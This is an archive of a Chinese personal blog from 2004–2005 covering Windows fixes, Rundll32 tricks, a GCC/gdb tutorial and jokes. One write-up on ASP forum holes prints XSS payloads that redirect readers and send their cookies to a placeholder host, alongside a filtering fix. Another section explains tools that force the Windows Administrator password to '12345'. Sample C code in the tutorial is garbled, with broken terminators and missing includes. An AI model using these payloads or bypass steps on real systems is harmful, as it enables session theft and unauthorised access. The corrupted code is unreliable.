2005年02月12日

很多朋友问我,装过wmp10以后,任务管理器多出一个wdfmgr.exe,有没有办法禁止他随开机运行。

要不是想体验下QQ2005自带的那个播放器,我才不会安他。腾讯的影响力可谓深远啊。

wdfmgr.exe是安装wmp高版本后自动向系统添加的一个服务:

服务名称:Windows User Mode Driver Framework

描述:启用 Windows 用户模式驱动程序。

执行文件路径:C:\WINDOWS\System32\wdfmgr.exe

我也没找到关于这个driver到底是什么driver,控制面板-管理工具-服务,禁用掉他好了,完全不影响使用。

2005年02月11日

前些日子因为忘了密码 -_-||  好久没有更新我的博客,不过在这期间,邮箱里收到很多网友的留言,让我很欣慰。博客里的东东能对他们有所帮助,也实现了当初建博客的一个小初衷,呵呵。没有博客期间一直在QQ群里乱逛,见证了一些群的成败兴衰。也认识了很多网友。一直在Q里聊天,感觉人都堕落了,今天开始要重打精神,继续努力。

2005年,愿俺的博客越来越火!

2004年11月16日

方法一:重新注册以下DLL文件。
regsvr32 Shdocvw.dll
regsvr32 Shell32.dll (注意这个命令,先不用输)
regsvr32 Oleaut32.dll
regsvr32 Actxprxy.dll
regsvr32 Mshtml.dll
regsvr32 Urlmon.dll

第二个命令可以先不用输,输完这些命令后重新启动windows,如果发现无效,再重新输入一遍,这次输入第二个命令。


方法二:COMCTL32.DLL文件产生的问题。
在升级IE或windows时这个文件可能被替换了,也许新版本的COMCTL32.DLL文件有BUG。
找一张windows安装光盘,搜索它,找到一个名为COMCTL32.DL_的文件,把它拷贝出来,用winrar提取 这个文件为COMCTL32.DLL文件,并覆盖现有文件。
(我不知道98光盘里有没有这个文件,我用的是2000光盘)


方法三:用方法一重新注册regsvr32 Oleaut32.dll时出错或重新注册后也无效。
在windows光盘里提取Oleaut32.dll文件,在MDAC_IE5.CAB文件包里,也是用winrar提取并覆盖现有。


方法四:DCOM属性设置错误。
详细参见:http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q274696
1。点击“开始”。
2。输入“Dcomcnfg”。
3。弹出的提示框选“是”。
4。点“默认安全机制”标签。
5。在“默认访问权限”栏点“编辑默认值”。
6。看看“名称”下面的栏里有没有“SYSTEM”和“Interactive”项,如果没有,则添加。
7。点击OK,点击OK。


方法五:下载这个工具也许有助于修复问题.
http://download.microsoft.com/download/msninvestor/Patch/1.0/WIN98/EN-US/mcrepair.EXE
只是也许,不一定真能修复,别抱太多希望于工具

2004年11月02日

http://post.baidu.com/f?kw=windslowly

2004年10月29日

  在Windows系统中安装和卸载程序是件非常容易的事情,一般用户通过安装和卸载程序向导就能很轻松地完成。但安装和卸载Windows程序还有些鲜为人知的小技巧,使用Rundll32命令安装和卸载Windows程序就是其中之一,可能你从来还没接触过,下面我们就一起领略它的神奇功能吧!

  提示:Rundll32.exe是 Windows系统提供的一个命令,
它用来调用32位的DLL函数(16位的DLL文件用Rundll.exe来调用。DLL文件是Windows的基础,所有的API函数都是在DLL中实现的,它不能独立运行,一般由进程加载并调用,运行DLL文件最简单的方法是利用Rundll32.exe,它的命令格式是“Rundll32.exe 动态链接库名 函数名 参数名”。

  1.卸载微软Java虚拟机

  在Windows系统中,要想IE浏览器执行包含Java小程序的网页,必须安装微软Java虚拟机(MSJVM),Windows 98/2000已经捆绑了MSJVM,Windows XP/2003中虽然已经剥离了微软Java虚拟机,但还是可以手工安装。不过,有个现实我们不得不面对:由于微软和SUN公司的明争暗斗,微软已经停止对MSJVM的开发,因此很多用户改用SUN公司提供的Java虚拟机。但微软没有提供MSJVM的卸载工具,使用Rundll32命令,我们可以轻松卸载MSJVM。

  单击“开始→运行”命令,在“运行”对话框中输入“RunDll32 advpack.dll,LaunchINFSection java.inf,UnInstall”,回车后系统会打开“Microsoft VM uninstall”对话框,单击“是(Y)”按钮后,系统就会开始卸载微软Java虚拟机,卸载完成后需要重新启动系统。

  接下来删除“%systemroot%”(即Windows的安装目录,Windows 2000系统为 Winnt目录,Windows XP/2003为Windows目录)下的Java文件夹;“%systemroot%\inf”下的java.pnf文件,以及“%systemroot%\system32”下的jview.exe文件和wjview.exe文件。最后打开注册表编辑器,依次展开[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\JavaVM]分支和[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\JAVA_VM]分支,删除这两个分支下的所有子键。

  提示:以上方法不适用Windows 98系统。

  2.重新安装Windows XP自带的IE6.0

  Windows系统的IE浏览器漏洞很多,最容易出现问题。有时无法解决,就只能重新安装了。使用Rundll32命令可以很轻松地完成重新安装工作。我们以重新安装Windows XP中的IE6.0为例:

  首先将Windows XP光盘插入光驱,然后单击“开始→运行”命令,在“运行”对话框中输入“Rundll32 setupapi,InstallHinfSection DefaultInstall 132 C:\windows\inf\ie.inf”命令,回车后系统会打开安装进程对话框,开始重新安装IE6.0。

  提示:如果你的Windows XP系统不是安装在C盘,请将 “C\Windows\Inf\Ie.inf” 修改为“%systemroot%\inf\ie.inf”。

  3.卸载Windows Messenger

  卸载Windows Messenger的方法很多,最常用的就是修改“Sysoc.inf”文件,但此方法比较复杂,使用Rundll32命令能很轻松完成卸载:

  首先要确保已经关闭了Outlook和IE等Windows自带的组件,然后单击“开始→运行”,在“运行”对话框中输入“RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove”命令,回车后系统会打开一个卸载对话框,单击“是(Y)”按钮后,系统就开始卸载Windows Messenger 程序。

  以上只是简单介绍如何使用Rundll32命令卸载和安装Windows程序的几个实例,还有很多Windows程序的安装和卸载可以使用此方法,就不再详细介绍了,请大家慢慢体会。

经过对国内多个ASP论坛的研究,比较出名的我都测试过了,99.99%存在下列问题。下面是比较常见的,出现在动网论坛,极限论坛等。

问题一:
一般论坛允许用户使用自己的个性图片,在个性图片或者其他可以进行输入的地方,输入下面script <IMG SRC=”http://about:test”onerror=”top.location.href=’http://定向位置’;”> 将能将用户的浏览器重定向。
<IMG SRC=”http://about:test”onerror=”this.src=’http://somedomain.com/yourscript.php’;”>
此处, yourscript.php 是一个接收用户 cookie 的脚本,攻击者将能获得用户 Cookie。
以用户浏览器重定向为例,因为论坛程序会在每个你发的tip上面以<img src=你的图片位置>,所以只需要在个性图片的位置中填写
“http://about:test”onerror=”top.location.href=’http://定向位置’;”
或者
http://about:test”onerror=”top.location.href=’http://定向位置’;
则浏览者在浏览所有你post的tip时浏览器就会被重定向到http://定向位置,至于获取用户cookies的方法也是一样的

问题二:
另外有部分ASP论坛只要注册名字如<script>的用户,可以导致论坛页面变形。
原理:没有对用户名字进行过滤,而一般论坛都会在论坛首页显示最新注册用户的名字,则该名字以一个变量的形势破坏整个页面。
利用:如果没有对用户名长度进行限制,可以实现上面所说的重定向浏览器和取得用户cookies。

问题三:
最后一个问题,就是第一个问题的延伸与利用。
由于程序本身不进行过滤,所以在其他一些填写用户信息的地方同样可以实现第一个攻击方法。
例如在填写email的位置填写<script>alert(‘fuck’)</script>fuck@somedomain.com
如果不可信可以尝试><script>alert(‘fuck’)</script>fuck@somedomain.com
同样的,在其他地方例如个人主页一样可以实现(我觉得这个是最好利用的,因为前面就已经会以a herf帮你提交)

解决办法:
1.对该几处设置进行过滤(建议使用)
2.对长度进行限制(不推荐)

 
function invert(str)
invert=replace(replace(replace(replace(str,”<”,”<”),”>”,”>”),chr(13),”<br>”),” “,” ”)
end function
invert函数将过滤用户输入的任何非法字符!
使用方法:
dim name
name=invert(trim(request.form(“name”)))
这样!如果在name中输入<script……>
将会编码为<script>……,显示的时候被浏览器解释将会显示<script……>
在补充一点!98%的ASp论坛存在单引号的BUG!

本文的主旨是介绍如何在 Linux 下使用 C 编译器和其他 C 编程工具, 而非 C 语言编程的教程. 在本文中你将学到以下知识:
什么是 C
GNU C 编译器
用 gdb 来调试GCC应用程序
你也能看到随 Linux 发行的其他有用的 C 编程工具. 这些工具包括源程序美化程序(pretty print programs), 附加的调试工具, 函数原型自动生成工具(automatic function prototypers).
——————————————————————————–
注意: 源程序美化程序(pretty print programs)自动帮你格式化源代码产生始终如一的缩进格式.
——————————————————————————–
什么是 C?
C 是一种在 UNIX 操作系统的早期就被广泛使用的通用编程语言. 它最早是由贝尔实验室的 Dennis Ritchie 为了 UNIX 的辅助开发而写的, 开始时 UNIX 是用汇编语言和一种叫 B 的语言编写的. 从那时候起, C 就成为世界上使用最广泛计算机语言.
C 能在编程领域里得到如此广泛支持的原因有以下一些:
它是一种非常通用的语言. 几乎你所能想到的任何一种计算机上都有至少一种能用的 C 编译器. 并且它的语法和函数库在不同的平台上都是统一的, 这个特性对开发者来说很有吸引力.
用 C 写的程序执行速度很快.
C 是所有版本的UNIX上的系统语言.
C 在过去的二十年中有了很大的发展. 在80年代末期美国国家标准协会(American National Standards Institute)发布了一个被称为 ANSI C 的 C 语言标准.这更加保证了将来在不同平台上的 C 的一致性. 在80年代还出现了一种 C 的面向对象的扩展称为 C++. C++ 将在另一篇文章 “C++ 编程”中描述.
Linux 上可用的 C 编译器是 GNU C 编译器, 它建立在自由软件基金会的编程许可证的基础上, 因此可以自由发布. 你能在 Linux 的发行光盘上找到它.
GNU C 编译器
随 Slackware Linux 发行的 GNU C 编译器(GCC)是一个全功能的 ANSI C 兼容编译器. 如果你熟悉其他操作系统或硬件平台上的一种 C 编译器, 你将能很快地掌握 GCC. 本节将介绍如何使用 GCC 和一些 GCC 编译器最常用的选项.
使用 GCC
通常后跟一些选项和文件名来使用 GCC 编译器. gcc 命令的基本用法如下:
gcc [options] [filenames]
命令行选项指定的操作将在命令行上每个给出的文件上执行. 下一小节将叙述一些你会最常用到的选项.
GCC 选项
GCC 有超过100个的编译选项可用. 这些选项中的许多你可能永远都不会用到, 但一些主要的选项将会频繁用到. 很多的 GCC 选项包括一个以上的字符. 因此你必须为每个选项指定各自的连字符, 并且就象大多数 Linux 命令一样你不能在一个单独的连字符后跟一组选项. 例如, 下面的两个命令是不同的:
gcc -p -g test.c
gcc -pg test.c
第一条命令告诉 GCC 编译 test.c 时为 prof 命令建立剖析(profile)信息并且把调试信息加入到可执行的文件里. 第二条命令只告诉 GCC 为 gprof 命令建立剖析信息.
当你不用任何选项编译一个程序时, GCC 将会建立(假定编译成功)一个名为 a.out 的可执行文件. 例如, 下面的命令将在当前目录下产生一个叫 a.out 的文件:
gcc test.c
你能用 -o 编译选项来为将产生的可执行文件指定一个文件名来代替 a.out. 例如, 将一个叫 count.c 的 C 程序编译为名叫 count 的可执行文件, 你将输入下面的命令:
gcc -o count count.c
——————————————————————————–
注意: 当你使用 -o 选项时, -o 后面必须跟一个文件名.
——————————————————————————–GCC 同样有指定编译器处理多少的编译选项. -c 选项告诉 GCC 仅把源代码编译为目标代码而跳过汇编和连接的步骤. 这个选项使用的非常频繁因为它使得编译多个 C 程序时速度更快并且更易于管理. 缺省时 GCC 建立的目标代码文件有一个 .o 的扩展名.
-S 编译选项告诉 GCC 在为 C 代码产生了汇编语言文件后停止编译. GCC 产生的汇编语言文件的缺省扩展名是 .s . -E 选项指示编译器仅对输入文件进行预处理. 当这个选项被使用时, 预处理器的输出被送到标准输出而不是储存在文件里.
优 化 选 项
当你用 GCC 编译 C 代码时, 它会试着用最少的时间完成编译并且使编译后的代码易于调试. 易于调试意味着编译后的代码与源代码有同样的执行次序, 编译后的代码没有经过优化. 有很多选项可用于告诉 GCC 在耗费更多编译时间和牺牲易调试性的基础上产生更小更快的可执行文件. 这些选项中最典型的是-O 和 -O2 选项.
-O 选项告诉 GCC 对源代码进行基本优化. 这些优化在大多数情况下都会使程序执行的更快. -O2 选项告诉 GCC 产生尽可能小和尽可能快的代码. -O2 选项将使编译的速度比使用 -O 时慢. 但通常产生的代码执行速度会更快.
除了 -O 和 -O2 优化选项外, 还有一些低级选项用于产生更快的代码. 这些选项非常的特殊, 而且最好只有当你完全理解这些选项将会对编译后的代码产生什么样的效果时再去使用. 这些选项的详细描述, 请参考 GCC 的指南页, 在命令行上键入 man gcc .
调试和剖析选项
GCC 支持数种调试和剖析选项. 在这些选项里你会最常用到的是 -g 和 -pg 选项.
-g 选项告诉 GCC 产生能被 GNU 调试器使用的调试信息以便调试你的程序. GCC 提供了一个很多其他 C 编译器里没有的特性, 在 GCC 里你能使 -g 和 -O (产生优化代码)联用. 这一点非常有用因为你能在与最终产品尽可能相近的情况下调试你的代码. 在你同时使用这两个选项时你必须清楚你所写的某些代码已经在优化时被 GCC 作了改动. 关于调试 C 程序的更多信息请看下一节”用 gdb 调试 C 程序” .
-pg 选项告诉 GCC 在你的程序里加入额外的代码, 执行时, 产生 gprof 用的剖析信息以显示你的程序的耗时情况. 关于 gprof 的更多信息请参考 “gprof” 一节.
用 gdb 调试 GCC 程序
Linux 包含了一个叫 gdb 的 GNU 调试程序. gdb 是一个用来调试 C 和 C++ 程序的强力调试器. 它使你能在程序运行时观察程序的内部结构和内存的使用情况. 以下是 gdb 所提供的一些功能:
它使你能监视你程序中变量的值.
它使你能设置断点以使程序在指定的代码行上停止执行.
它使你能一行行的执行你的代码.
在命令行上键入 gdb 并按回车键就可以运行 gdb 了, 如果一切正常的话, gdb 将被启动并且你将在屏幕上看到类似的内容:
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.14 (i486-slakware-linux), Copyright 1995 Free Software Foundation, Inc.
(gdb)
当你启动 gdb 后, 你能在命令行上指定很多的选项. 你也可以以下面的方式来运行 gdb :
gdb
当你用这种方式运行 gdb , 你能直接指定想要调试的程序. 这将告诉gdb 装入名为 fname 的可执行文件. 你也可以用 gdb 去检查一个因程序异常终止而产生的 core 文件, 或者与一个正在运行的程序相连. 你可以参考 gdb 指南页或在命令行上键入 gdb -h 得到一个有关这些选项的说明的简单列表.
为调试编译代码(Compiling Code for Debugging)
为了使 gdb 正常工作, 你必须使你的程序在编译时包含调试信息. 调试信息包含你程序里的每个变量的类型和在可执行文件里的地址映射以及源代码的行号. gdb 利用这些信息使源代码和机器码相关联.
在编译时用 -g 选项打开调试选项.
gdb 基本命令
gdb 支持很多的命令使你能实现不同的功能. 这些命令从简单的文件装入到允许你检查所调用的堆栈内容的复杂命令, 表27.1列出了你在用 gdb 调试时会用到的一些命令. 想了解 gdb 的详细使用请参考 gdb 的指南页.

表 27.1. 基本 gdb 命令.

命 令 描 述
file 装入想要调试的可执行文件.
kill 终止正在调试的程序.
list 列出产生执行文件的源代码的一部分.
next 执行一行源代码但不进入函数内部.
step 执行一行源代码而且进入函数内部.
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变.
break 在代码里设置断点, 这将使程序执行到这里时被挂起.
make 使你能不退出 gdb 就可以重新产生可执行文件.
shell 使你能不离开 gdb 就执行 UNIX shell 命令.

gdb 支持很多与 UNIX shell 程序一样的命令编辑特征. 你能象在 bash 或 tcsh里那样按 Tab 键让gdb 帮你补齐一个唯一的命令, 如果不唯一的话 gdb 会列出所有匹配的命令. 你也能用光标键上下翻动历史命令.
gdb 应用举例
本节用一个实例教你一步步的用 gdb 调试程序. 被调试的程序相当的简单, 但它展示了 gdb 的典型应用.
下面列出了将被调试的程序. 这个程序被称为 greeting , 它显示一个简单的问候, 再用反序将它列出.
#include

main ()
{
char my_string[] = “hello there”;

my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf (“The string is %s\n”, string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - i] = string[i];
string2[size+1] = ****’;
printf (“The string printed backward is %s\n”, string2);
}
用下面的命令编译它:
gcc -ggdb -o test test.c
这个程序执行时显示如下结果:
The string is hello there
The string printed backward is
输出的第一行是正确的, 但第二行打印出的东西并不是我们所期望的. 我们所设想的输出应该是:
The string printed backward is ereht olleh
由于某些原因, my_print2 函数没有正常工作. 让我们用 gdb 看看问题究竟出在哪儿, 先键入如下命令:
gdb greeting
——————————————————————————–
注意: 记得在编译 greeting 程序时把调试选项打开.
——————————————————————————–
如果你在输入命令时忘了把要调试的程序作为参数传给 gdb , 你可以在 gdb 提示符下用 file 命令来载入它:
(gdb) file greeting
这个命令将载入 greeting 可执行文件就象你在 gdb 命令行里装入它一样.
这时你能用 gdb 的 run 命令来运行 greeting 了. 当它在 gdb 里被运行后结果大约会象这样:
(gdb) run
Starting program: /root/greeting
The string is hello there
The string printed backward is
Program exited with code 041
这个输出和在 gdb 外面运行的结果一样. 问题是, 为什么反序打印没有工作? 为了找出症结所在, 我们可以在 my_print2 函数的 for 语句后设一个断点, 具体的做法是在 gdb 提示符下键入 list 命令三次, 列出源代码:
(gdb) list
(gdb) list
(gdb) list
——————————————————————————–
技巧: 在 gdb 提示符下按回车健将重复上一个命令.
——————————————————————————–
第一次键入 list 命令的输出如下:
1 #include
2
3 main ()
4 {
5 char my_string[] = “hello there”;
6
7 my_print (my_string);
8 my_print2 (my_string);
9 }
10
如果按下回车, gdb 将再执行一次 list 命令, 给出下列输出:
11 my_print (char *string)
12 {
13 printf (“The string is %s\n”, string);
14 }
15
16 my_print2 (char *string)
17 {
18 char *string2;
19 int size, i;
20
再按一次回车将列出 greeting 程序的剩余部分:
21 size = strlen (string);
22 string2 = (char *) malloc (size + 1);
23 for (i = 0; i < size; i++)
24 string2[size - i] = string[i];
25 string2[size+1] = ****’;
26 printf (“The string printed backward is %s\n”, string2);
27 }
根据列出的源程序, 你能看到要设断点的地方在第24行, 在 gdb 命令行提示符下键入如下命令设置断点:
(gdb) break 24
 
gdb 将作出如下的响应:
Breakpoint 1 at 0×139: file greeting.c, line 24
(gdb)
现在再键入 run 命令, 将产生如下的输出:
Starting program: /root/greeting
The string is hello there

Breakpoint 1, my_print2 (string = 0xbfffdc4 “hello there”) at greeting.c :24
24 string2[size-i]=string[i]
你能通过设置一个观察 string2[size - i] 变量的值的观察点来看出错误是怎样产生的, 做法是键入:
(gdb) watch string2[size - i]
 
gdb 将作出如下回应:
Watchpoint 2: string2[size - i]
现在可以用 next 命令来一步步的执行 for 循环了:
(gdb) next
经过第一次循环后, gdb 告诉我们 string2[size - i] 的值是 ****h****. gdb 用如下的显示来告诉你这个信息:
Watchpoint 2, string2[size - i]
Old value = 0 ****00′
New value = 104 ****h’
my_print2(string = 0xbfffdc4 “hello there”) at greeting.c:23
23 for (i=0; i 这个值正是期望的. 后来的数次循环的结果都是正确的. 当 i=10 时, 表达式 string2[size - i] 的值等于 ****e****, size – i 的值等于 1, 最后一个字符已经拷到新串里了.
如果你再把循环执行下去, 你会看到已经没有值分配给 string2[0] 了, 而它是新串的第一个字符, 因为 malloc 函数在分配内存时把它们初始化为空(null)字符. 所以 string2 的第一个字符是空字符. 这解释了为什么在打印 string2 时没有任何输出了.
现在找出了问题出在哪里, 修正这个错误是很容易的. 你得把代码里写入 string2 的第一个字符的的偏移量改为 size – 1 而不是 size. 这是因为 string2 的大小为 12, 但起始偏移量是 0, 串内的字符从偏移量 0 到 偏移量 10, 偏移量 11 为空字符保留.
为了使代码正常工作有很多种修改办法. 一种是另设一个比串的实际大小小 1 的变量. 这是这种解决办法的代码:
#include

main ()

{
char my_string[] = “hello there”;

my_print (my_string);
my_print2 (my_string);
}

my_print (char *string)
{
printf (“The string is %s\n”, string);
}

my_print2 (char *string)
{
char *string2;
int size, size2, i;

size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = ****’;
printf (“The string printed backward is %s\n”, string2);
}
 
另外的 C 编程工具
Slackware Linux 的发行版中还包括一些我们尚未提到的 C 开发工具. 本节将介绍这些工具和它们的典型用法.
xxgdb
xxgdb 是 gdb 的一个基于 X Window 系统的图形界面. xxgdb 包括了命令行版的 gdb 上的所有特性. xxgdb 使你能通过按按钮来执行常用的命令. 设置了断点的地方也用图形来显示.
你能在一个 Xterm 窗口里键入下面的命令来运行它:
xxgdb
你能用 gdb 里任何有效的命令行选项来初始化 xxgdb . 此外 xxgdb 也有一些特有的命令行选项, 表 27.2 列出了这些选项.
表 27.2. xxgdb 命令行选项.

选 项 描 述
db_name 指定所用调试器的名字, 缺省是 gdb.
db_prompt 指定调试器提示符, 缺省为 gdb.
gdbinit 指定初始化 gdb 的命令文件的文件名, 缺省为 .gdbinit.
nx 告诉 xxgdb 不执行 .gdbinit 文件.
bigicon 使用大图标.

calls
你可以在 sunsite.unc.edu FTP 站点用下面的路径:
/pub/Linux/devel/lang/c/calls.tar.Z
来取得 calls , 一些旧版本的 Linux CD-ROM 发行版里也附带有. 因为它是一个有用的工具, 我们在这里也介绍一下. 如果你觉得有用的话, 从 BBS, FTP, 或另一张CD-ROM 上弄一个拷贝. calls 调用 GCC 的预处理器来处理给出的源程序文件, 然后输出这些文件的里的函数调用树图.

——————————————————————————–
注意: 在你的系统上安装 calls , 以超级用户身份登录后执行下面的步骤: 1. 解压和 untar 文件. 2. cd 进入 calls untar 后建立的子目录. 3. 把名叫 calls 的文件移动到 /usr/bin 目录. 4. 把名叫 calls.1 的文件移动到目录 /usr/man/man1 . 5. 删除 /tmp/calls 目录. 这些步骤将把 calls 程序和它的指南页安装载你的系统上.
——————————————————————————–
当 calls 打印出调用跟踪结果时, 它在函数后面用中括号给出了函数所在文件的文件名:
main [test.c]
如果函数并不是向 calls 给出的文件里的, calls 不知道所调用的函数来自哪里, 则只显示函数的名字:
printf
 
calls 不对递归和静态函数输出. 递归函数显示成下面的样子:
fact <<< recursive in factorial.c >>>
静态函数象这样显示:
total [static in calculate.c]
作为一个例子, 假设用 calls 处理下面的程序:
#include

main ()
{
char my_string[] = “hello there”;
my_print (my_string);
my_print2(my_string);
}

my_print (char *string)
{
printf (“The string is %s\n”, string);
}

my_print2 (char *string)
{
char *string2;
int size, size2, i;

size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = ****’;
printf (“The string printed backward is %s\n”, string2);
}
将产生如下的输出:
1 main [test.c]
2 my_print [test.c]
3 printf
4 my_print2 [test.c]
5 strlen
6 malloc
7 printf
 
calls 有很多命令行选项来设置不同的输出格式, 有关这些选项的更多信息请参考 calls 的指南页. 方法是在命令行上键入 calls -h .

cproto
cproto 读入 C 源程序文件并自动为每个函数产生原型申明. 用 cproto 可以在写程序时为你节省大量用来定义函数原型的时间.
如果你让 cproto 处理下面的代码:
#include

main ()
{
char my_string[] = “hello there”;
my_print (my_string); my_print2(my_string);
}

my_print (char *string)
{
printf (“The string is %s\n”, *string);
}

my_print2 (char *string)
{
char *string2;
int size, size2, i;
size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = ****’;
printf (“The string printed backward is %s\n”, string2);
}
你将得到下面的输出:
/* test.c */
int main(void);
int my_print(char *string);
int my_print2(char *string);
这个输出可以重定向到一个定义函数原型的包含文件里.
indent
indent 实用程序是 Linux 里包含的另一个编程实用工具. 这个工具简单的说就为你的代码产生美观的缩进的格式. indent 也有很多选项来指定如何格式化你的源代码.这些选项的更多信息请看indent 的指南页, 在命令行上键入 indent -h .
下面的例子是 indent 的缺省输出:
运行 indent 以前的 C 代码:
#include
main () {
char my_string[] = “hello there”;
my_print (my_string);
my_print2(my_string);
}
my_print(char *string)
{
printf(“The string is %s\n”, *string);
}
my_print2(char *string) {
char *string2;
int size, size2, i;
size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = ****’;
printf (“The string printed backward is %s\n”, string2);
}
运行 indent 后的 C 代码:
#include
main ()
{
char my_string[] = “hello there”;
my_print (my_string);
my_print2 (my_string);
}
my_print (char *string)
{
printf (“The string is %s\n”, *string);
}
my_print2 (char *string)
{
char *string2;
int size, size2, i;
size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = ****’;
printf (“The string printed backward is %s\n”, string2);
}
indent 并不改变代码的实质内容, 而只是改变代码的外观. 使它变得更可读, 这永远是一件好事.
gprof
gprof 是安装在你的 Linux 系统的 /usr/bin 目录下的一个程序. 它使你能剖析你的程序从而知道程序的哪一个部分在执行时最费时间. gprof 将告诉你程序里每个函数被调用的次数和每个函数执行时所占时间的百分比. 你如果想提高你的程序性能的话这些信息非常有用. 为了在你的程序上使用 gprof, 你必须在编译程序时加上 -pg 选项. 这将使程序在每次执行时产生一个叫 gmon.out 的文件. gprof 用这个文件产生剖析信息. 在你运行了你的程序并产生了 gmon.out 文件后你能用下面的命令获得剖析信息:
gprof
参数 program_name 是产生 gmon.out 文件的程序的名字.
——————————————————————————–
技巧: gprof 产生的剖析数据很大, 如果你想检查这些数据的话最好把输出重定向到一个文件里.
——————————————————————————–
f2c 和 p2c
f2c 和 p2c 是两个源代码转换程序. f2c 把 FORTRAN 代码转换为 C 代码, p2c 把 Pascal 代码转换为 C 代码. 当你安装 GCC 时这两个程序都会被安装上去. 如果你有一些用 FORTRAN 或 Pascal 写的代码要用 C 重写的话, f2c 和 p2c 对你非常有用. 这两个程序产生的 C 代码一般不用修改就直接能被 GCC 编译. 如果要转换的 FORTRAN 或 Pascal 程序比较小的话可以直接使用 f2c 或 p2c 不用加任何选项. 如果要转换的程序比较庞大, 包含很多文件的话你可能要用到一些命令行选项. 在一个 FORTRAN 程序上使用 f2c , 输入下面的命令:
f2c my_fortranprog.f
——————————————————————————–
注意: f2c 要求被转换的程序的扩展名为 .f 或 a .F .
——————————————————————————–
要把一个Pascal 程序装换为 C 程序, 输入下面的命令:
p2c my_pascalprogram.pas
这两个程序产生的 C 源代码的文件名都和原来的文件名相同, 但扩展名由 .f 或 .pas 变为 .c.
———-

此文章供学习之用。

使用软件修改密码

  Windows Key 5.0和Windows XP/2000/NT Key这两款软件可以自动把Administrator密码修改为12345,重启系统后用此账号登录,然后在“控制面板”用户中,再重新修改管理员密码即可。

  软件名:Windows Key 5.0

  使用方法:运行之后会生成3个文件:txtsetup.oem、winkey.sys和winkey.inf,把它们拷贝到一张软盘中,制作成一张Windows Key盘。然后使用Windows XP安装光盘启动电脑,启动过程中按F6键让系统安装第三方的驱动程序。此时,放入Windows Key软盘就会自动跳到WindowsKey的界面,这时它会强行把Administrator的密码换成“12345”。

  软件名:Windows XP/2000/NT Key

  使用方法:用它制作一张驱动软盘;然后用安装光盘启动电脑,启动过程中按“S”,插入该驱动软盘,系统管理员账号administrator的密码就会被改为12345。

  from

http://tech.sina.com.cn/c/2004-07-21/0946390887.shtml

1.很久很久以前,有一群人人不离马,身不离甲,专以灌水为生,人称“马甲军”。我在他们当中排行老六,人称“马六甲”。很多年后,我们到南洋做生意,当地人都非常喜欢穿我做的马甲,为了感谢我,他们把附近的一条海峡命名为“马六甲海峡”。但也有人说并不是这个原因,而是在我走后六个月,他们发现自己的“马子”都已经身怀六甲…… 

2. MM:你有多爱我? 
我:我爱你爱到海枯石烂…… 
五个火辣辣的手指印,她气愤地说:“你撒谎!” 
我:我爱你爱到中国移动不再收费…… 
又是五个火辣辣的手指印,“你骗人!” 
我:我……我爱你爱到宿舍不再熄灯,学校不再卫检,食堂不再吃出虫子,后勤不再垄断,机房不再断网…… 
“呀,你对我可真好!”MM满脸飞红,深深地给了我一个kiss,FT…… 

3.人那一进了云大(云南大学),就喜欢杀人,以前用刀一天三遍的杀,麻烦!现在好了,有了“加爵牌”锤头,现在的一锤顶过去的五刀,还实惠。“加爵牌”锤头,今天你锤了没有?——“加爵”六厂荣誉出品! 

4.高中时,班主任老师经常苦口婆心地教导我们:就你们这样儿要是能考上大学的话,那把猪圈改成大学都不够用啊!!! 

5.看哪家银行的英文缩写最牛B:(校正版) 
a. 中国银行-BC(Bank of China)-“不存!” 
b. 中国农业银行-ABC(Agriculture Bank of China)-“啊,不存!” 
c. 中国工商银行-ICBC(Industry and Commercial Bank of China)-“爱存不存!” 
d. 民生银行-CMBC(China Minsheng Bank Corp.)-“存吗?白痴!” 
e. 国家开发银行-C D B(China Development Bank)— “存点吧!” 
f. 北京市商业银行-BCCB(Beijing City Commercial Bank)-“白存存不?” 
   
6.毕业招聘会上,经理问偶:“你有什么特长?”偶答:“jj特长!” 

7.一个恶贯满盈的杀人犯死后进了第十八层地狱,他听到一个老师在他下面的一层喊救命。杀人犯不解,问判官:“为什么老师要下第十九层地狱啊?”答曰:“你伤害的只是人的肉体,而他伤害的则是人的灵魂!!!” 

8.从孙*志刚案件开始,我不相信警察!从刘*涌案件开始,我不相信法律!从苏*秀文案件开始,我不相信政府!从打工受户籍歧视开始,我不相信有公平!从CCTV每天报喜不报忧开始,我不相信有真话!从新*浪每天大量删帖子开始,我不相信有说话的地方!从马*加爵案件开始,我不再打牌…… 

9.名花虽有主,我来松松土:) 

10.(广工)清早起来洗裤头,多少孩子付东流。不是爸爸不爱你,是你妈妈不收留。 

11.上海理工学生:你们学校的英文缩写是什么? 
麻省理工学生:‘MIT’,你们呢?” 
上海理工学生:你们美国人真笨,当然是‘SHIT’啦! 

12.鬼:难道你不怕死? 
我:在浙大我连活着都不怕,难道还怕死吗! 

13.食堂打饭排队时,偶不小心踩后面MM一脚,她大骂我一顿。我低下头小声叹了一口气:“现在的MM好凶啊!”谁知MM听了,满面飞红,一挺胸部:“我…真的是好胸吗?” (C_chairman) 

